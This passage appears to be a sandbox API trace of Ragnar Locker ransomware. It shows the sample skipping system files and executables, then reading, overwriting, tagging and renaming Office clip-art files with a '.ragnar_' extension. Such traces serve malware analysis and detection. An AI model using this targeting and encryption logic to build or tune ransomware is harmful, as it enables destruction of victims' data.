lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0090.463] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.463] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PRRTINST.WMF" | out: lpString1="PRRTINST.WMF") returned="PRRTINST.WMF" [0090.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF") returned=".WMF" [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="autorun.inf") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="boot.ini") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="bootfont.bin") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="bootsect.bak") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="bootmgr") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="bootmgr.efi") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="bootmgfw.efi") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="desktop.ini") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="iconcache.db") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="ntldr") returned 1 [0090.463] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="ntuser.dat") returned 1 [0090.464] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="ntuser.dat.log") returned 1 [0090.464] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="ntuser.ini") returned 1 [0090.464] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="thumbs.db") returned -1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.464] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf")) returned 0x20 [0090.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.464] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31404) returned 1 [0090.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7aa3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.464] GetProcessHeap () returned 0x580000 [0090.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.464] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.466] VirtualAlloc (lpAddress=0x0, dwSize=0x7aac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.466] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7aac, lpOverlapped=0x0) returned 1 [0090.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.468] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7aac, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.468] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7aac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7aac, lpOverlapped=0x0) returned 1 [0090.468] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7aac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.468] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7aac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.468] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.468] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.468] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.468] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.469] GetProcessHeap () returned 0x580000 [0090.469] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.469] CloseHandle (hObject=0xf4) returned 1 [0090.469] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" [0090.469] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ragnar_FD7BD9FC" [0090.469] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.469] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0090.469] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.470] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PSRETRO.WMF" | out: lpString1="PSRETRO.WMF") returned="PSRETRO.WMF" [0090.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned=".WMF" [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="autorun.inf") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="boot.ini") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="bootfont.bin") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="bootsect.bak") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="bootmgr") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="bootmgr.efi") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="bootmgfw.efi") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="desktop.ini") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="iconcache.db") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="ntldr") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="ntuser.dat") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="ntuser.dat.log") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="ntuser.ini") returned 1 [0090.470] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="thumbs.db") returned -1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.470] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf")) returned 0x20 [0090.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.471] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=982) returned 1 [0090.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.471] GetProcessHeap () returned 0x580000 [0090.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.471] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.473] VirtualAlloc (lpAddress=0x0, dwSize=0x3d6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.473] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d6, lpOverlapped=0x0) returned 1 [0090.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.473] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.473] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d6, lpOverlapped=0x0) returned 1 [0090.473] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.473] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.473] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.474] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.474] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.474] GetProcessHeap () returned 0x580000 [0090.474] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.474] CloseHandle (hObject=0xf4) returned 1 [0090.474] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" [0090.474] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ragnar_FD7BD9FC" [0090.474] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0090.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.475] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PSSKETLG.WMF" | out: lpString1="PSSKETLG.WMF") returned="PSSKETLG.WMF" [0090.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned=".WMF" [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="autorun.inf") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="boot.ini") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="bootfont.bin") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="bootsect.bak") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="bootmgr") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="bootmgr.efi") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="bootmgfw.efi") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="desktop.ini") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="iconcache.db") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="ntldr") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="ntuser.dat") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="ntuser.dat.log") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="ntuser.ini") returned 1 [0090.475] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="thumbs.db") returned -1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.475] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf")) returned 0x20 [0090.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.476] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3594) returned 1 [0090.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.477] GetProcessHeap () returned 0x580000 [0090.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.477] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.478] VirtualAlloc (lpAddress=0x0, dwSize=0xe0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.478] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe0a, lpOverlapped=0x0) returned 1 [0090.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.478] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.478] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe0a, lpOverlapped=0x0) returned 1 [0090.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.479] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.479] GetProcessHeap () returned 0x580000 [0090.479] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.479] CloseHandle (hObject=0xf4) returned 1 [0090.479] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" [0090.479] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ragnar_FD7BD9FC" [0090.479] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0090.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, 